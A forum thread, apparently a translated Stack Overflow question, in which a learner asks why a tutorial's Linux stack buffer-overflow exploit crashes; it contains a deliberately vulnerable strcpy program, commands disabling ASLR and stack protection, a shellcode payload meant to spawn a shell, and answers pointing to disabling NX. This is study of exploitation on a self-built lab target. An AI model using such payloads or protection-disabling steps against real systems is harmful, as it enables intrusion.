1

我正在观看有关如何在 linux 上进行缓冲区溢出的教程。在我尝试运行最后一件事之前,一切都运行良好。我在谷歌上搜索和搜索,但没有发现任何有用的东西。

我的缓冲区溢出可利用的 C 代码 (exploitable.c):

#include <string.h>

int main(int argc, char** argv)
{
    char buf[500];
    strcpy(buf, argv[1]);
    return 0;
}

我是如何编译的:

  1. 我删除了 va_space 的随机化(不太确定它的作用,但我知道它允许缓冲区溢出):echo 0 > /proc/sys/kernel/randomize_va_space
  2. 我使用这个命令编译:gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o exploitable exploitable.c
  3. 我使用 gdb 运行它,发现这个命令应该给我一个/bin/bashshell:

    ./exploitable $(ruby -e 'print "\x90" * 212 + "\xbb\xac\x02\x93\xb0\xda\xdb\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x0e\x31\x5a\x15\x83\xc2\x04\x03\x5a\x11\xe2\x59\x33" + "\x5a\x81\x7a\xc3\xbf\x52\xd8\xe1\xc0\xf9\x2b\xa2\x59\xaf" + "\x4d\x3a\x77\x33\x18\x5d\xef\x9c\x69\xca\xf0\x8a\xa2\x68" + "\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf" + "\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56" + "\x90" * 210 + "\x44\xf1\xff\xbf"')

但是,这不起作用。

在 gdb 中运行它,我发现它$eip被正确设置为0xbffff144(我第一轮 nops 的中间)。出于某种原因,这给了我一个 SIGSEGV 错误:

运行上面的命令后我的 gdb 输出

我不知道我是否做错了什么,或者是否还有一个故障保险装置我必须关闭。

4

2 回答 2

3

也许 gcc 选项(用于链接器)-z execstack禁用 NX。

于 2013-05-21T00:43:35.357 回答
0

您应该使堆栈可执行。这可能是你问题的一部分。

另外,如果您想对缓冲区溢出有一个很好的参考,我建议您阅读Smashing the Stack for Fun and Profit

于 2013-05-21T00:57:06.290 回答